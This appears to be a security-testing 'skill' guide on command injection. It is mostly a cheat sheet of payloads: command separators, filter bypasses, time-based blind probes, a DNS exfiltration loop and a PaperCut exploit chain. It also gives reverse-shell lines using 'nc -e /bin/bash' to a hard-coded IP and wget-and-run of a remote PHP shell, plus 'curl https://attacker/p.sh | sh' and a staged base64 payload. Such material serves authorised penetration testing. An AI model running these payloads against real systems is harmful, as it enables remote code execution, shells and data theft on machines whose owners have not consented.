Command Injection Testing

A skill for identifying and testing command injection vulnerabilities in web applications.

What is Command Injection?

Command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. This can lead to full compromise of the application and underlying system.

When to Use This Skill

Use this skill when:

• Testing web applications for command injection vulnerabilities
• Analyzing parameters that might execute system commands
• Bypassing input filters during security assessments
• Investigating RCE (Remote Code Execution) through user input
• Reviewing code that uses shell execution functions

Testing Methodology

Step 1: Identify Vulnerable Parameters

Look for parameters that might be passed to system commands:

?cmd={payload}
?exec={payload}
?command={payload}
?execute={payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Step 2: Test Basic Command Separators

Start with simple command chaining to verify injection is possible:

Unix/Linux:

; id
| id
&& id
& id
`id`
$(id)

Cross-platform:

%0Aid
%0aid

Windows:

& id
| id

Step 3: Context-Aware Payloads

Depending on where input is injected, you may need to terminate quoted context:

Double-quoted context:

"; id#
" | id#
" && id#

Single-quoted context:

'; id#
' | id#
' && id#

Step 4: Filter Bypass Techniques

Windows Filter Bypass

powershell C:**2\n??e*d.*?  # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e  # calc

Linux Filter Bypass

• Use variable expansion:

  ${LS_COLORS:10:1}${IFS}id

• Use arithmetic expansion in specific contexts
• Reference:

  ../linux-hardening/bypass-bash-restrictions/

Step 5: Time-Based Blind Testing

When output is not visible, use timing to confirm injection:

# Test if first character of whoami is 's'
; if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

# Test if first character is 'a'
; if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi

Measure response time - 5 second delay indicates the condition was true.

Step 6: DNS-Based Data Exfiltration

For blind injection, exfiltrate data via DNS queries:

# List directory contents via DNS
for i in $(ls /) ; do host "$i.YOUR_DNSBIN_ID.d.zhack.ca"; done

# Using dnsbin.zhack.ca:
# 1. Go to http://dnsbin.zhack.ca/
# 2. Execute: for i in $(ls /) ; do host "$i.YOUR_ID.d.zhack.ca"; done

Online tools:

• dnsbin.zhack.ca
• pingb.in

Advanced Techniques

Bash Arithmetic Evaluation Bypass

In RewriteMap/CGI-style scripts, arithmetic contexts can be exploited:

Pattern:

1. Parameters map to global variables
2. Later checked in arithmetic context:

   [[ $a -gt $b ]]

   or

   $((...))

3. Array references in variable names execute during expansion

Probe (5s delay if vulnerable):

curl -k "https://TARGET/path?st=theValue&h=gPath['sleep 5']"

Node.js child_process Vulnerabilities

Vulnerable pattern:

const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
  /* … */
});

Safe pattern:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
  '--id_user', id_user,
  '--payload', JSON.stringify(payload)
]);

Argument/Option Injection

Even without shell metacharacters, arguments starting with

-

can be parsed as options:

Examples:

• ping

  :

  -f

  /

  -c 100000

  for DoS

• curl

  :

  -o /tmp/x

  to write files,

  -K <url>

  for config injection

• tcpdump

  :

  -G 1 -W 1 -z /path/script.sh

  for post-rotate execution

PoC shape:

POST /cgi-bin/handler.cgi
Content-Type: application/x-www-form-urlencoded

param=-n

JVM Diagnostic Callbacks

Inject JVM arguments for guaranteed execution:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Real-World Examples

PaperCut NG/MF RCE

1. Access

   /app?service=page/SetupCompleted

   (auth bypass)
2. Enable scripting:

   print-and-device.script.enabled=Y

3. Disable sandbox:

   print.script.sandboxed=N

4. Inject payload in Scripting tab:

function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);

Synology Photos RCE (Pwn2Own 2024)

Unauthenticated WebSocket event placed attacker data into

id_user

, embedded in

exec()

call.

Payload Examples

Basic RCE:

vuln=127.0.0.1%0awget https://web.es/reverse.txt -O /tmp/reverse.php%0aphp /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80

Staged payload:

vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Testing Checklist

• Identify parameters that might execute commands
• Test basic separators:

  ;

  ,

  |

  ,

  &&

  ,

  &

  ,

  $()

• Test URL-encoded variants:

  %0A

  ,

  %0a

• Test quoted context termination
• Try time-based blind testing
• Attempt DNS exfiltration for blind cases
• Test filter bypass techniques
• Check for argument injection (leading

  -

  )
• Review code for unsafe shell execution

References

• PayloadsAllTheThings - Command Injection
• PortSwigger - OS Command Injection
• Auto_Wordlists - Command Injection
• PHP proc_open manual